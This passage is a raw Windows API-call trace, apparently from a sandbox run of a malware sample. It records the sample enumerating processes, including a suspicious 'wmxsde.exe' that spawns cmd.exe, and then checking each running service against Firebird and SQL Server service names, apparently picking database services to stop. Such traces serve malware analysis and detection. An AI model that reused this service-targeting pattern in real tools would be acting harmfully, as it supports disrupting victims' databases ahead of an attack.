th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.572] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.572] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0171.573] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0171.573] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.574] lstrlenW (lpString="svchost.exe") returned 11 [0171.574] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.575] lstrlenW (lpString="svchost.exe") returned 11 [0171.575] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0171.576] lstrlenW (lpString="dwm.exe") returned 7 [0171.576] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.583] lstrlenW (lpString="svchost.exe") returned 11 [0171.585] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.591] lstrlenW (lpString="svchost.exe") returned 11 [0171.591] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.592] lstrlenW (lpString="svchost.exe") returned 11 [0171.592] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.593] lstrlenW (lpString="svchost.exe") returned 11 [0171.593] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x27, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.594] lstrlenW (lpString="svchost.exe") returned 11 [0171.594] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.595] lstrlenW (lpString="svchost.exe") returned 11 [0171.595] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.596] lstrlenW (lpString="svchost.exe") returned 11 [0171.596] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.597] lstrlenW (lpString="svchost.exe") returned 11 [0171.597] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.598] lstrlenW (lpString="svchost.exe") returned 11 [0171.598] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.599] lstrlenW (lpString="svchost.exe") returned 11 [0171.599] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0171.600] lstrlenW (lpString="spoolsv.exe") returned 11 [0171.600] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.601] lstrlenW (lpString="svchost.exe") returned 11 [0171.601] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0171.602] lstrlenW (lpString="audiodg.exe") returned 11 [0171.602] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.603] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.603] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0171.604] lstrlenW (lpString="sihost.exe") returned 10 [0171.604] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0171.605] lstrlenW (lpString="svchost.exe") returned 11 [0171.605] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0171.605] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0171.606] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0171.606] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0171.606] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0171.607] lstrlenW (lpString="Memory Compression") returned 18 [0171.607] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0171.721] lstrlenW (lpString="taskhostw.exe") returned 13 [0171.722] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0171.723] lstrlenW (lpString="msoia.exe") returned 9 [0171.723] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0171.724] lstrlenW (lpString="explorer.exe") returned 12 [0171.724] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0171.725] lstrlenW (lpString="SearchUI.exe") returned 12 [0171.725] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0171.725] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0171.726] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0171.726] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0171.726] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0171.727] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0171.727] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0171.729] lstrlenW (lpString="wmxsde.exe") returned 10 [0171.729] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0171.730] lstrlenW (lpString="cmd.exe") returned 7 [0171.730] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0171.731] lstrlenW (lpString="conhost.exe") returned 11 [0171.731] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0171.732] lstrlenW (lpString="consent.exe") returned 11 [0171.732] Process32NextW (in: hSnapshot=0x510, lppe=0x25efd2c | out: lppe=0x25efd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0171.733] CloseHandle (hObject=0x510) returned 1 [0171.733] Sleep (dwMilliseconds=0x1f4) [0172.404] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x459f1c8 [0172.405] EnumServicesStatusExW (in: hSCManager=0x459f1c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 0 [0172.406] GetLastError () returned 0xea [0172.406] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x1c28) returned 0x465efa8 [0172.406] EnumServicesStatusExW (in: hSCManager=0x459f1c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x465efa8, cbBufSize=0x1c28, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x465efa8, pcbBytesNeeded=0x25eff3c, lpServicesReturned=0x25eff54, lpResumeHandle=0x0) returned 1 [0172.407] CloseServiceHandle (hSCObject=0x459f1c8) returned 1 [0172.407] lstrlenW (lpString="Appinfo") returned 7 [0172.407] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0172.407] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0172.407] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0172.407] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0172.407] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0172.407] lstrlenW (lpString="AppXSvc") returned 7 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0172.408] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0172.408] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0172.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0172.408] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0172.408] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0172.408] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0172.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0172.408] lstrlenW (lpString="Audiosrv") returned 8 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0172.408] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0172.408] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0172.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0172.408] lstrlenW (lpString="BFE") returned 3 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0172.408] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0172.408] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0172.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0172.408] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0172.408] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0172.408] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0172.408] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0172.408] lstrlenW (lpString="CDPSvc") returned 6 [0172.408] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0172.408] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0172.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0172.409] lstrlenW (lpString="ClickToRunSvc") returned 13 [0172.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0172.409] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0172.409] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0172.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0172.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0172.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0172.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0172.409] lstrlenW (lpString="CryptSvc") returned 8 [0172.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0172.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0172.409] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0172.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0172.409] lstrlenW (lpString="DcomLaunch") returned 10 [0172.409] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.409] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0172.409] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0172.409] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0172.409] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0172.410] lstrlenW (lpString="DeviceAssociationService") returned 24 [0172.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0172.410] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0172.410] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0172.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0172.410] lstrlenW (lpString="Dhcp") returned 4 [0172.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0172.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0172.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0172.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0172.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0172.410] lstrlenW (lpString="Dnscache") returned 8 [0172.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0172.410] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0172.410] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0172.410] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0172.410] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0172.410] lstrlenW (lpString="DPS") returned 3 [0172.410] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0172.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0172.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0172.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0172.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0172.439] lstrlenW (lpString="DsmSvc") returned 6 [0172.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1 [0172.439] lstrlenW (lpString="DusmSvc") returned 7 [0172.439] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0172.439] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0172.440] lstrlenW (lpString="EventLog") returned 8 [0172.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0172.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0172.440] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0172.440] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0172.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0172.440] lstrlenW (lpString="EventSystem") returned 11 [0172.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0172.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0172.440] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0172.440] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0172.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0172.440] lstrlenW (lpString="FontCache") returned 9 [0172.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0172.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0172.440] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0172.440] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0172.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0172.440] lstrlenW (lpString="gpsvc") returned 5 [0172.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0172.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0172.440] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0172.440] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0172.440] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0172.440] lstrlenW (lpString="iphlpsvc") returned 8 [0172.440] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.440] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0172.441] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0172.441] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0172.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0172.441] lstrlenW (lpString="KeyIso") returned 6 [0172.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0172.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0172.441] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0172.441] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0172.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0172.441] lstrlenW (lpString="LanmanServer") returned 12 [0172.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0172.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0172.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0172.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0172.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0172.441] lstrlenW (lpString="LanmanWorkstation") returned 17 [0172.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0172.441] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0172.441] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0172.441] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0172.441] lstrlenW (lpString="lfsvc") returned 5 [0172.441] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0172.441] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0172.441] 